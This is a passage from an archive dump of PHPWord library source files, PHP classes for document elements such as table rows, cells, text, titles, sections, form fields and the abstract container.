 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use DateTime;

/**
 * TrackChange element.
 *
 * @see http://datypic.com/sc/ooxml/t-w_CT_TrackChange.html
 * @see http://datypic.com/sc/ooxml/t-w_CT_RunTrackChange.html
 */
class TrackChange extends AbstractContainer
{
    const INSERTED = 'INSERTED';
    const DELETED = 'DELETED';

    /**
     * @var string Container type
     */
    protected $container = 'TrackChange';

    /**
     * The type of change, (insert or delete), not applicable for PhpOffice\PhpWord\Element\Comment.
     *
     * @var string
     */
    private $changeType;

    /**
     * Author.
     *
     * @var string
     */
    private $author;

    /**
     * Date.
     *
     * @var DateTime
     */
    private $date;

    /**
     * Create a new TrackChange Element.
     *
     * @param string $changeType
     * @param string $author
     * @param null|bool|DateTime|int $date
     */
    public function __construct($changeType = null, $author = null, $date = null)
    {
        $this->changeType = $changeType;
        $this->author = $author;
        if ($date !== null && $date !== false) {
            $this->date = ($date instanceof DateTime) ? $date : new DateTime('@' . $date);
        }
    }

    /**
     * Get TrackChange Author.
     *
     * @return string
     */
    public function getAuthor()
    {
        return $this->author;
    }

    /**
     * Get TrackChange Date.
     *
     * @return DateTime
     */
    public function getDate()
    {
        return $this->date;
    }

    /**
     * Get the Change type.
     *
     * @return string
     */
    public function getChangeType()
    {
        return $this->changeType;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Row.php000066600000004253151150442730016524 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Row as RowStyle;

/**
 * Table row element.
 *
 * @since 0.8.0
 */
class Row extends AbstractElement
{
    /**
     * Row height.
     *
     * @var ?int
     */
    private $height;

    /**
     * Row style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Row
     */
    private $style;

    /**
     * Row cells.
     *
     * @var \PhpOffice\PhpWord\Element\Cell[]
     */
    private $cells = [];

    /**
     * Create a new table row.
     *
     * @param int $height
     * @param mixed $style
     */
    public function __construct($height = null, $style = null)
    {
        $this->height = $height;
        $this->style = $this->setNewStyle(new RowStyle(), $style, true);
    }

    /**
     * Add a cell.
     *
     * @param int $width
     * @param mixed $style
     *
     * @return \PhpOffice\PhpWord\Element\Cell
     */
    public function addCell($width = null, $style = null)
    {
        $cell = new Cell($width, $style);
        $cell->setParentContainer($this);
        $this->cells[] = $cell;

        return $cell;
    }

    /**
     * Get all cells.
     *
     * @return \PhpOffice\PhpWord\Element\Cell[]
     */
    public function getCells()
    {
        return $this->cells;
    }

    /**
     * Get row style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Row
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get row height.
     *
     * @return ?int
     */
    public function getHeight()
    {
        return $this->height;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Cell.php000066600000003224151150442730016631 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Cell as CellStyle;

/**
 * Table cell element.
 */
class Cell extends AbstractContainer
{
    /**
     * @var string Container type
     */
    protected $container = 'Cell';

    /**
     * Cell width.
     *
     * @var ?int
     */
    private $width;

    /**
     * Cell style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Cell
     */
    private $style;

    /**
     * Create new instance.
     *
     * @param null|int $width
     * @param array|\PhpOffice\PhpWord\Style\Cell $style
     */
    public function __construct($width = null, $style = null)
    {
        $this->width = $width;
        $this->style = $this->setNewStyle(new CellStyle(), $style, true);
    }

    /**
     * Get cell style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Cell
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get cell width.
     *
     * @return ?int
     */
    public function getWidth()
    {
        return $this->width;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Text.php000066600000007514151150442730016704 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Text element.
 */
class Text extends AbstractElement
{
    /**
     * Text content.
     *
     * @var ?string
     */
    protected $text;

    /**
     * Text style.
     *
     * @var \PhpOffice\PhpWord\Style\Font|string
     */
    protected $fontStyle;

    /**
     * Paragraph style.
     *
     * @var \PhpOffice\PhpWord\Style\Paragraph|string
     */
    protected $paragraphStyle;

    /**
     * Create a new Text Element.
     *
     * @param string $text
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($text = null, $fontStyle = null, $paragraphStyle = null)
    {
        $this->setText($text);
        $paragraphStyle = $this->setParagraphStyle($paragraphStyle);
        $this->setFontStyle($fontStyle, $paragraphStyle);
    }

    /**
     * Set Text style.
     *
     * @param array|\PhpOffice\PhpWord\Style\Font|string $style
     * @param array|\PhpOffice\PhpWord\Style\Paragraph|string $paragraphStyle
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function setFontStyle($style = null, $paragraphStyle = null)
    {
        if ($style instanceof Font) {
            $this->fontStyle = $style;
            $this->setParagraphStyle($paragraphStyle);
        } elseif (is_array($style)) {
            $this->fontStyle = new Font('text', $paragraphStyle);
            $this->fontStyle->setStyleByArray($style);
        } elseif (null === $style) {
            $this->fontStyle = new Font('text', $paragraphStyle);
        } else {
            $this->fontStyle = $style;
            $this->setParagraphStyle($paragraphStyle);
        }

        return $this->fontStyle;
    }

    /**
     * Get Text style.
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function getFontStyle()
    {
        return $this->fontStyle;
    }

    /**
     * Set Paragraph style.
     *
     * @param array|\PhpOffice\PhpWord\Style\Paragraph|string $style
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function setParagraphStyle($style = null)
    {
        if (is_array($style)) {
            $this->paragraphStyle = new Paragraph();
            $this->paragraphStyle->setStyleByArray($style);
        } elseif ($style instanceof Paragraph) {
            $this->paragraphStyle = $style;
        } elseif (null === $style) {
            $this->paragraphStyle = new Paragraph();
        } else {
            $this->paragraphStyle = $style;
        }

        return $this->paragraphStyle;
    }

    /**
     * Get Paragraph style.
     *
     * @return \PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }

    /**
     * Set text content.
     *
     * @param string $text
     *
     * @return self
     */
    public function setText($text)
    {
        $this->text = SharedText::toUTF8($text);

        return $this;
    }

    /**
     * Get Text content.
     *
     * @return ?string
     */
    public function getText()
    {
        return $this->text;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Title.php000066600000005245151150442730017040 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use InvalidArgumentException;
use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style;

/**
 * Title element.
 */
class Title extends AbstractElement
{
    /**
     * Title Text content.
     *
     * @var string|TextRun
     */
    private $text;

    /**
     * Title depth.
     *
     * @var int
     */
    private $depth = 1;

    /**
     * Name of the heading style, e.g. 'Heading1'.
     *
     * @var ?string
     */
    private $style;

    /**
     * Is part of collection.
     *
     * @var bool
     */
    protected $collectionRelation = true;

    /**
     * Page number.
     *
     * @var int
     */
    private $pageNumber;

    /**
     * Create a new Title Element.
     *
     * @param string|TextRun $text
     * @param int $depth
     */
    public function __construct($text, $depth = 1, ?int $pageNumber = null)
    {
        if (is_string($text)) {
            $this->text = SharedText::toUTF8($text);
        } elseif ($text instanceof TextRun) {
            $this->text = $text;
        } else {
            throw new InvalidArgumentException('Invalid text, should be a string or a TextRun');
        }

        $this->depth = $depth;
        $styleName = $depth === 0 ? 'Title' : "Heading_{$this->depth}";
        if (array_key_exists($styleName, Style::getStyles())) {
            $this->style = str_replace('_', '', $styleName);
        }

        if ($pageNumber !== null) {
            $this->pageNumber = $pageNumber;
        }
    }

    /**
     * Get Title Text content.
     *
     * @return string|TextRun
     */
    public function getText()
    {
        return $this->text;
    }

    /**
     * Get depth.
     *
     * @return int
     */
    public function getDepth()
    {
        return $this->depth;
    }

    /**
     * Get Title style.
     *
     * @return ?string
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Get page number.
     */
    public function getPageNumber(): ?int
    {
        return $this->pageNumber;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/PageBreak.php000066600000001506151150442730017574 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Page break element.
 */
class PageBreak extends AbstractElement
{
    /**
     * Create new page break.
     */
    public function __construct()
    {
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/PreserveText.php000066600000004611151150442730020413 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Preserve text/field element.
 */
class PreserveText extends AbstractElement
{
    /**
     * Text content.
     *
     * @var null|array|string
     */
    private $text;

    /**
     * Text style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Font|string
     */
    private $fontStyle;

    /**
     * Paragraph style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    private $paragraphStyle;

    /**
     * Create a new Preserve Text Element.
     *
     * @param string $text
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($text = null, $fontStyle = null, $paragraphStyle = null)
    {
        $this->fontStyle = $this->setNewStyle(new Font('text'), $fontStyle);
        $this->paragraphStyle = $this->setNewStyle(new Paragraph(), $paragraphStyle);

        $this->text = SharedText::toUTF8($text);
        $matches = preg_split('/({.*?})/', $this->text ?? '', -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
        if (isset($matches[0])) {
            $this->text = $matches;
        }
    }

    /**
     * Get Text style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Font|string
     */
    public function getFontStyle()
    {
        return $this->fontStyle;
    }

    /**
     * Get Paragraph style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }

    /**
     * Get Text content.
     *
     * @return null|array|string
     */
    public function getText()
    {
        return $this->text;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/TextBreak.php000066600000006527151150442730017654 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Text break element.
 */
class TextBreak extends AbstractElement
{
    /**
     * Paragraph style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    private $paragraphStyle;

    /**
     * Text style.
     *
     * @var null|\PhpOffice\PhpWord\Style\Font|string
     */
    private $fontStyle;

    /**
     * Create a new TextBreak Element.
     *
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($fontStyle = null, $paragraphStyle = null)
    {
        if (null !== $paragraphStyle) {
            $paragraphStyle = $this->setParagraphStyle($paragraphStyle);
        }
        if (null !== $fontStyle) {
            $this->setFontStyle($fontStyle, $paragraphStyle);
        }
    }

    /**
     * Set Text style.
     *
     * @param mixed $style
     * @param mixed $paragraphStyle
     *
     * @return \PhpOffice\PhpWord\Style\Font|string
     */
    public function setFontStyle($style = null, $paragraphStyle = null)
    {
        if ($style instanceof Font) {
            $this->fontStyle = $style;
            $this->setParagraphStyle($paragraphStyle);
        } elseif (is_array($style)) {
            $this->fontStyle = new Font('text', $paragraphStyle);
            $this->fontStyle->setStyleByArray($style);
        } else {
            $this->fontStyle = $style;
            $this->setParagraphStyle($paragraphStyle);
        }

        return $this->fontStyle;
    }

    /**
     * Get Text style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Font|string
     */
    public function getFontStyle()
    {
        return $this->fontStyle;
    }

    /**
     * Set Paragraph style.
     *
     * @param   array|\PhpOffice\PhpWord\Style\Paragraph|string $style
     *
     * @return  \PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function setParagraphStyle($style = null)
    {
        if (is_array($style)) {
            $this->paragraphStyle = new Paragraph();
            $this->paragraphStyle->setStyleByArray($style);
        } elseif ($style instanceof Paragraph) {
            $this->paragraphStyle = $style;
        } else {
            $this->paragraphStyle = $style;
        }

        return $this->paragraphStyle;
    }

    /**
     * Get Paragraph style.
     *
     * @return null|\PhpOffice\PhpWord\Style\Paragraph|string
     */
    public function getParagraphStyle()
    {
        return $this->paragraphStyle;
    }

    /**
     * Has font/paragraph style defined.
     *
     * @return bool
     */
    public function hasStyle()
    {
        return null !== $this->fontStyle || null !== $this->paragraphStyle;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/Section.php000066600000012041151150442730017353 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use Exception;
use PhpOffice\PhpWord\ComplexType\FootnoteProperties;
use PhpOffice\PhpWord\Style\Section as SectionStyle;

class Section extends AbstractContainer
{
    /**
     * @var string Container type
     */
    protected $container = 'Section';

    /**
     * Section style.
     *
     * @var ?\PhpOffice\PhpWord\Style\Section
     */
    private $style;

    /**
     * Section headers, indexed from 1, not zero.
     *
     * @var Header[]
     */
    private $headers = [];

    /**
     * Section footers, indexed from 1, not zero.
     *
     * @var Footer[]
     */
    private $footers = [];

    /**
     * The properties for the footnote of this section.
     *
     * @var FootnoteProperties
     */
    private $footnoteProperties;

    /**
     * Create new instance.
     *
     * @param int $sectionCount
     * @param null|array|\PhpOffice\PhpWord\Style|string $style
     */
    public function __construct($sectionCount, $style = null)
    {
        $this->sectionId = $sectionCount;
        $this->setDocPart($this->container, $this->sectionId);
        if (null === $style) {
            $style = new SectionStyle();
        }
        $this->style = $this->setNewStyle(new SectionStyle(), $style);
    }

    /**
     * Set section style.
     *
     * @param array $style
     */
    public function setStyle($style = null): void
    {
        if (null !== $style && is_array($style)) {
            $this->style->setStyleByArray($style);
        }
    }

    /**
     * Get section style.
     *
     * @return ?\PhpOffice\PhpWord\Style\Section
     */
    public function getStyle()
    {
        return $this->style;
    }

    /**
     * Add header.
     *
     * @since 0.10.0
     *
     * @param string $type
     *
     * @return Header
     */
    public function addHeader($type = Header::AUTO)
    {
        return $this->addHeaderFooter($type, true);
    }

    /**
     * Add footer.
     *
     * @since 0.10.0
     *
     * @param string $type
     *
     * @return Footer
     */
    public function addFooter($type = Header::AUTO)
    {
        return $this->addHeaderFooter($type, false);
    }

    /**
     * Get header elements.
     *
     * @return Header[]
     */
    public function getHeaders()
    {
        return $this->headers;
    }

    /**
     * Get footer elements.
     *
     * @return Footer[]
     */
    public function getFooters()
    {
        return $this->footers;
    }

    /**
     * Get the footnote properties.
     *
     * @return FootnoteProperties
     */
    public function getFootnoteProperties()
    {
        return $this->footnoteProperties;
    }

    /**
     * Set the footnote properties.
     */
    public function setFootnoteProperties(?FootnoteProperties $footnoteProperties = null): void
    {
        $this->footnoteProperties = $footnoteProperties;
    }

    /**
     * Is there a header for this section that is for the first page only?
     *
     * If any of the Header instances have a type of Header::FIRST then this method returns true.
     * False otherwise.
     *
     * @return bool
     */
    public function hasDifferentFirstPage()
    {
        foreach ($this->headers as $header) {
            if ($header->getType() == Header::FIRST) {
                return true;
            }
        }
        foreach ($this->footers as $footer) {
            if ($footer->getType() == Header::FIRST) {
                return true;
            }
        }

        return false;
    }

    /**
     * Add header/footer.
     *
     * @since 0.10.0
     *
     * @param string $type
     * @param bool $header
     *
     * @return Footer|Header
     */
    private function addHeaderFooter($type = Header::AUTO, $header = true)
    {
        $containerClass = substr(static::class, 0, strrpos(static::class, '\\')) . '\\' .
            ($header ? 'Header' : 'Footer');
        $collectionArray = $header ? 'headers' : 'footers';
        $collection = &$this->$collectionArray;

        if (in_array($type, [Header::AUTO, Header::FIRST, Header::EVEN])) {
            $index = count($collection);
            /** @var \PhpOffice\PhpWord\Element\AbstractContainer $container Type hint */
            $container = new $containerClass($this->sectionId, ++$index, $type);
            $container->setPhpWord($this->phpWord);

            $collection[$index] = $container;

            return $container;
        }

        throw new Exception('Invalid header/footer type.');
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/FormField.php000066600000007005151150442730017622 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

/**
 * Form field element.
 *
 * @since 0.12.0
 * @see  http://www.datypic.com/sc/ooxml/t-w_CT_FFData.html
 */
class FormField extends Text
{
    /**
     * Form field type: textinput|checkbox|dropdown.
     *
     * @var string
     */
    private $type = 'textinput';

    /**
     * Form field name.
     *
     * @var ?string
     */
    private $name;

    /**
     * Default value.
     *
     * - TextInput: string
     * - CheckBox: bool
     * - DropDown: int Index of entries (zero based)
     *
     * @var bool|int|string
     */
    private $default;

    /**
     * Value.
     *
     * @var null|bool|int|string
     */
    private $value;

    /**
     * Dropdown entries.
     *
     * @var array
     */
    private $entries = [];

    /**
     * Create new instance.
     *
     * @param string $type
     * @param mixed $fontStyle
     * @param mixed $paragraphStyle
     */
    public function __construct($type, $fontStyle = null, $paragraphStyle = null)
    {
        parent::__construct(null, $fontStyle, $paragraphStyle);
        $this->setType($type);
    }

    /**
     * Get type.
     *
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * Set type.
     *
     * @param string $value
     *
     * @return self
     */
    public function setType($value)
    {
        $enum = ['textinput', 'checkbox', 'dropdown'];
        $this->type = $this->setEnumVal($value, $enum, $this->type);

        return $this;
    }

    /**
     * Get name.
     *
     * @return ?string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Set name.
     *
     * @param ?string $value
     *
     * @return self
     */
    public function setName($value)
    {
        $this->name = $value;

        return $this;
    }

    /**
     * Get default.
     *
     * @return bool|int|string
     */
    public function getDefault()
    {
        return $this->default;
    }

    /**
     * Set default.
     *
     * @param bool|int|string $value
     *
     * @return self
     */
    public function setDefault($value)
    {
        $this->default = $value;

        return $this;
    }

    /**
     * Get value.
     *
     * @return null|bool|int|string
     */
    public function getValue()
    {
        return $this->value;
    }

    /**
     * Set value.
     *
     * @param null|bool|int|string $value
     *
     * @return self
     */
    public function setValue($value)
    {
        $this->value = $value;

        return $this;
    }

    /**
     * Get entries.
     *
     * @return array
     */
    public function getEntries()
    {
        return $this->entries;
    }

    /**
     * Set entries.
     *
     * @param array $value
     *
     * @return self
     */
    public function setEntries($value)
    {
        $this->entries = $value;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Element/AbstractContainer.php000066600000025451151150442730021366 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Element;

use BadMethodCallException;
use PhpOffice\Math\Math;
use ReflectionClass;

/**
 * Container abstract class.
 *
 * @method Text addText(string $text, mixed $fStyle = null, mixed $pStyle = null)
 * @method TextRun addTextRun(mixed $pStyle = null)
 * @method Bookmark addBookmark(string $name)
 * @method Link addLink(string $target, string $text = null, mixed $fStyle = null, mixed $pStyle = null, boolean $internal = false)
 * @method PreserveText addPreserveText(string $text, mixed $fStyle = null, mixed $pStyle = null)
 * @method void addTextBreak(int $count = 1, mixed $fStyle = null, mixed $pStyle = null)
 * @method ListItem addListItem(string $txt, int $depth = 0, mixed $font = null, mixed $list = null, mixed $para = null)
 * @method ListItemRun addListItemRun(int $depth = 0, mixed $listStyle = null, mixed $pStyle = null)
 * @method Footnote addFootnote(mixed $pStyle = null)
 * @method Endnote addEndnote(mixed $pStyle = null)
 * @method CheckBox addCheckBox(string $name, $text, mixed $fStyle = null, mixed $pStyle = null)
 * @method Title addTitle(mixed $text, int $depth = 1, int $pageNumber = null)
 * @method TOC addTOC(mixed $fontStyle = null, mixed $tocStyle = null, int $minDepth = 1, int $maxDepth = 9)
 * @method PageBreak addPageBreak()
 * @method Table addTable(mixed $style = null)
 * @method Image addImage(string $source, mixed $style = null, bool $isWatermark = false, $name = null)
 * @method OLEObject addOLEObject(string $source, mixed $style = null)
 * @method TextBox addTextBox(mixed $style = null)
 * @method Field addField(string $type = null, array $properties = array(), array $options = array(), mixed $text = null)
 * @method Line addLine(mixed $lineStyle = null)
 * @method Shape addShape(string $type, mixed $style = null)
 * @method Chart addChart(string $type, array $categories, array $values, array $style = null, $seriesName = null)
 * @method FormField addFormField(string $type, mixed $fStyle = null, mixed $pStyle = null)
 * @method SDT addSDT(string $type)
 * @method Formula addFormula(Math $math)
 * @method \PhpOffice\PhpWord\Element\OLEObject addObject(string $source, mixed $style = null) deprecated, use addOLEObject instead
 *
 * @since 0.10.0
 */
abstract class AbstractContainer extends AbstractElement
{
    /**
     * Elements collection.
     *
     * @var \PhpOffice\PhpWord\Element\AbstractElement[]
     */
    protected $elements = [];

    /**
     * Container type Section|Header|Footer|Footnote|Endnote|Cell|TextRun|TextBox|ListItemRun|TrackChange.
     *
     * @var string
     */
    protected $container;

    /**
     * Magic method to catch all 'addElement' variation.
     *
     * This removes addText, addTextRun, etc. When adding new element, we have to
     * add the model in the class docblock with `@method`.
     *
     * Warning: This makes capitalization matters, e.g. addCheckbox or addcheckbox won't work.
     *
     * @param mixed $function
     * @param mixed $args
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement
     */
    public function __call($function, $args)
    {
        $elements = [
            'Text', 'TextRun', 'Bookmark', 'Link', 'PreserveText', 'TextBreak',
            'ListItem', 'ListItemRun', 'Table', 'Image', 'Object', 'OLEObject',
            'Footnote', 'Endnote', 'CheckBox', 'TextBox', 'Field',
            'Line', 'Shape', 'Title', 'TOC', 'PageBreak',
            'Chart', 'FormField', 'SDT', 'Comment',
            'Formula',
        ];
        $functions = [];
        foreach ($elements as $element) {
            $functions['add' . strtolower($element)] = $element == 'Object' ? 'OLEObject' : $element;
        }

        // Run valid `add` command
        $function = strtolower($function);
        if (isset($functions[$function])) {
            $element = $functions[$function];

            // Special case for TextBreak
            // @todo Remove the `$count` parameter in 1.0.0 to make this element similiar to other elements?
            if ($element == 'TextBreak') {
                [$count, $fontStyle, $paragraphStyle] = array_pad($args, 3, null);
                if ($count === null) {
                    $count = 1;
                }
                for ($i = 1; $i <= $count; ++$i) {
                    $this->addElement($element, $fontStyle, $paragraphStyle);
                }
            } else {
                // All other elements
                array_unshift($args, $element); // Prepend element name to the beginning of args array

                return call_user_func_array([$this, 'addElement'], $args);
            }
        }

        return null;
    }

    /**
     * Add element.
     *
     * Each element has different number of parameters passed
     *
     * @param string $elementName
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement
     */
    protected function addElement($elementName)
    {
        $elementClass = __NAMESPACE__ . '\\' . $elementName;
        $this->checkValidity($elementName);

        // Get arguments
        $args = func_get_args();
        $withoutP = in_array($this->container, ['TextRun', 'Footnote', 'Endnote', 'ListItemRun', 'Field']);
        if ($withoutP && ($elementName == 'Text' || $elementName == 'PreserveText')) {
            $args[3] = null; // Remove paragraph style for texts in textrun
        }

        // Create element using reflection
        $reflection = new ReflectionClass($elementClass);
        $elementArgs = $args;
        array_shift($elementArgs); // Shift the $elementName off the beginning of array

        /** @var \PhpOffice\PhpWord\Element\AbstractElement $element Type hint */
        $element = $reflection->newInstanceArgs($elementArgs);

        // Set parent container
        $element->setParentContainer($this);
        $element->setElementIndex($this->countElements() + 1);
        $element->setElementId();

        $this->elements[] = $element;

        return $element;
    }

    /**
     * Get all elements.
     *
     * @return \PhpOffice\PhpWord\Element\AbstractElement[]
     */
    public function getElements()
    {
        return $this->elements;
    }

    /**
     * Returns the element at the requested position.
     *
     * @param int $index
     *
     * @return null|\PhpOffice\PhpWord\Element\AbstractElement
     */
    public function getElement($index)
    {
        if (array_key_exists($index, $this->elements)) {
            return $this->elements[$index];
        }

        return null;
    }

    /**
     * Removes the element at requested index.
     *
     * @param int|\PhpOffice\PhpWord\Element\AbstractElement $toRemove
     */
    public function removeElement($toRemove): void
    {
        if (is_int($toRemove) && array_key_exists($toRemove, $this->elements)) {
            unset($this->elements[$toRemove]);
        } elseif ($toRemove instanceof \PhpOffice\PhpWord\Element\AbstractElement) {
            foreach ($this->elements as $key => $element) {
                if ($element->getElementId() === $toRemove->getElementId()) {
                    unset($this->elements[$key]);

                    return;
                }
            }
        }
    }

    /**
     * Count elements.
     *
     * @return int
     */
    public function countElements()
    {
        return count($this->elements);
    }

    /**
     * Check if a method is allowed for the current container.
     *
     * @param string $method
     *
     * @return bool
     */
    private function checkValidity($method)
    {
        $generalContainers = [
            'Section', 'Header', 'Footer', 'Footnote', 'Endnote', 'Cell', 'TextRun', 'TextBox', 'ListItemRun', 'TrackChange',
        ];

        $validContainers = [
            'Text' => $generalContainers,
            'Bookmark' => $generalContainers,
            'Link' => $generalContainers,
            'TextBreak' => $generalContainers,
            'Image' => $generalContainers,
            'OLEObject' => $generalContainers,
            'Field' => $generalContainers,
            'Line' => $generalContainers,
            'Shape' => $generalContainers,
            'FormField' => $generalContainers,
            'SDT' => $generalContainers,
            'TrackChange' => $generalContainers,
            'TextRun' => ['Section', 'Header', 'Footer', 'Cell', 'TextBox', 'TrackChange', 'ListItemRun'],
            'ListItem' => ['Section', 'Header', 'Footer', 'Cell', 'TextBox'],
            'ListItemRun' => ['Section', 'Header', 'Footer', 'Cell', 'TextBox'],
            'Table' => ['Section', 'Header', 'Footer', 'Cell', 'TextBox'],
